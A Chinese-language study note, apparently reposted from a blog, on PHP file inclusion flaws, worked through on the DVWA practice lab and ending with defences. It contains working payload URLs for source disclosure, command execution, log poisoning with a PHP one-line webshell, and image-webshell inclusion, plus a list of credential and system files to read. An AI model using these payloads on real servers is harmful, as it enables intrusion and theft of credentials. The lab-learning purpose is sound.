Web安全測試學習筆記 - 文件包含


基礎知識

文件包含指的是一個文件動態引用另一個文件,這是一種非常靈活的動態調用方式。有點類似Java引用jar包,但區別在於jar包引用后一般是固定不變的(一般不能動態改變所引用的jar包名稱),而文件包含可以將引用的文件名作為參數傳遞。php的文件包含舉例:

 

 利用原理

引用文件名作為傳入參數暴露出來時,用戶可傳入任意文件名/惡意代碼,且程序本身沒有進行嚴格校驗/過濾時,便會形成文件包含漏洞。其危害在於:

1. 泄露服務器敏感數據

2. 惡意代碼注入(可能導致被getshell)

 

利用方式

用DVWA的文件包含(PHP+Aapche)舉例,首先在php.ini中配置allow_url_fopen = On,allow_url_include = On。

此處通過參數page包含文件

1. 獲取源碼

   輸入:http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php

   得到base64編碼后的源碼:

   

   解碼后得到index源碼:

   

2. 讀取服務器敏感文件

   常用的系統敏感文件如下:

   Windows系統

  • c:\boot.ini // 查看系統版本
  • c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
  • c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼
  • c:\ProgramFiles\mysql\my.ini // MySQL配置
  • c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
  • c:\windows\php.ini // php 配置信息

   Linux/Unix系統

  • /etc/passwd // 賬戶信息
  • /etc/shadow // 賬戶密碼文件
  • /usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
  • /usr/local/app/php5/lib/php.ini // PHP相關配置
  • /etc/httpd/conf/httpd.conf // Apache配置文件
  • /etc/my.conf // mysql 配置文件

   輸入:

    http://localhost/dvwa/vulnerabilities/fi/?page=C:/Windows/system.ini 

    

 3. 執行操作系統命令

   輸入:  http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php system('whoami');?>

   

4. 利用日志注入惡意代碼

  首先通過訪問phpinfo找到錯誤日志的存放路徑:

  輸入:http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>  

    

   用錯誤日志注入的思路是:

    -》輸入帶有注入代碼且能引發錯誤的語句

    -》錯誤日志記錄本次的輸入(惡意代碼注入錯誤日志)

    -》通過文件包含漏洞訪問錯誤日志,惡意代碼被執行

   輸入php一句話木馬:http://localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['cmd']);?>

   但是打開錯誤日志發現尖括號被轉義了(抓包改也沒用,依然被轉義)。。。被轉義之后注入代碼無法執行,利用錯誤日志注入的路行不通了...>_<...

    

   換訪問日志再試一次(思路是一樣的),訪問日志尖括號會被編碼,抓包改一下之后發現成功寫入,一句話木馬上傳成功。

   

   5. 結合文件上傳漏洞

   之前寫圖片上傳的時候曾傳過一個圖片馬(y.png)到服務器(https://www.cnblogs.com/sallyzhang/p/11906217.html),如果存在文件包含漏洞,可直接訪問該圖片馬並執行圖片馬中的代碼。

   輸入:http://localhost/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/y.png    

   

 

防御方法

1. 使用PHP時配置php.ini:allow_url_fopen = off,allow_url_include = off

2. 對動態包含的文件可以設置白名單,不讀取非白名單的文件

3. 盡量不使用動態包含(或者寫死)

 

 

如需轉載,請注明出處,這是對他人勞動成果的尊重~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM